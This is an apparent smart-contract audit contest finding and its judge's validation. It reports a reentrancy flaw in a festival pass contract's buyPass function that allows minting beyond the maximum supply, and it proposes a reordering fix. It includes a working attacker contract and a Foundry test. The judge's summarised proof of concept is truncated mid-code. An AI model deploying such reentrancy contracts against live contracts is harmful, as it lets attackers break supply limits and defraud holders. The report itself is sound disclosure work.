Beatland Festival
AI First Flight #4
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Submission Details
Severity: medium
Valid

buyPass function can bypass max supply via reentrancy.

fyuryy

Description

  • Once a user buys a pass, actualSupply increases by one, but only after minting.

  • This opens the window to reentrancy on this function allowing a malicious user to mint passes beyond the max supply.


function buyPass(uint256 collectionId) external payable {
// Must be valid pass ID (1 or 2 or 3)
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
// Check payment and supply
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
//? Should be <=
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
// Mint 1 pass to buyer
@> _mint(msg.sender, collectionId, 1, "");
@> ++passSupply[collectionId];
// VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
// Mint BEAT tokens to buyer
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);

Risk

Likelihood:

  • This occurs whenever the msg.sender is a smart contract that implements the onERC1155Received and deliberately reenters buyPass during _mint.

Impact:

  • Passes can be minted beyond the max supply.

Proof of Concept

In this POC we create an attacker contract that calls buyPass() onERC1155 received, along with the test that shows that it can indeed mint more than maxSupply passes.

contract ReentrantPassBuyer {
FestivalPass public festivalPass;
uint256 public passId;
uint256 public price;
uint256 public remainingReentries;
​
constructor(FestivalPass _festivalPass) {
festivalPass = _festivalPass;
}
​
function attack(uint256 _passId, uint256 _price, uint256 _reentries) external payable {
passId = _passId;
price = _price;
remainingReentries = _reentries;
​
festivalPass.buyPass{value: price}(passId);
}
​
function onERC1155Received(address, address, uint256, uint256, bytes calldata) external returns (bytes4) {
if (remainingReentries > 0) {
--remainingReentries;
festivalPass.buyPass{value: price}(passId);
}
​
return this.onERC1155Received.selector;
}
​
function onERC1155BatchReceived(address, address, uint256[] calldata, uint256[] calldata, bytes calldata)
external
pure
returns (bytes4)
{
return this.onERC1155BatchReceived.selector;
}
}
​
​
​
function test_BuyPass_ReentrancyCanBypassMaxSupply() public {
// Configure a pass with max supply of 1
vm.prank(organizer);
festivalPass.configurePass(1, GENERAL_PRICE, 1);
​
ReentrantPassBuyer attacker = new ReentrantPassBuyer(festivalPass);
​
// The attacker buys once, then reenters during the ERC1155 receiver callback
// to buy a second pass before passSupply is incremented.
attacker.attack{value: GENERAL_PRICE * 2}(1, GENERAL_PRICE, 1);
​
assertEq(festivalPass.balanceOf(address(attacker), 1), 2);
assertEq(festivalPass.passSupply(1), 2);
assertGt(festivalPass.passSupply(1), festivalPass.passMaxSupply(1));
}

Recommended Mitigation

Simply switch these two lines to avoind reentrancy, so the supply cap is updated before minting.

-_mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
+ ++passSupply[collectionId];
+_mint(msg.sender, collectionId, 1, "");
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 6 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

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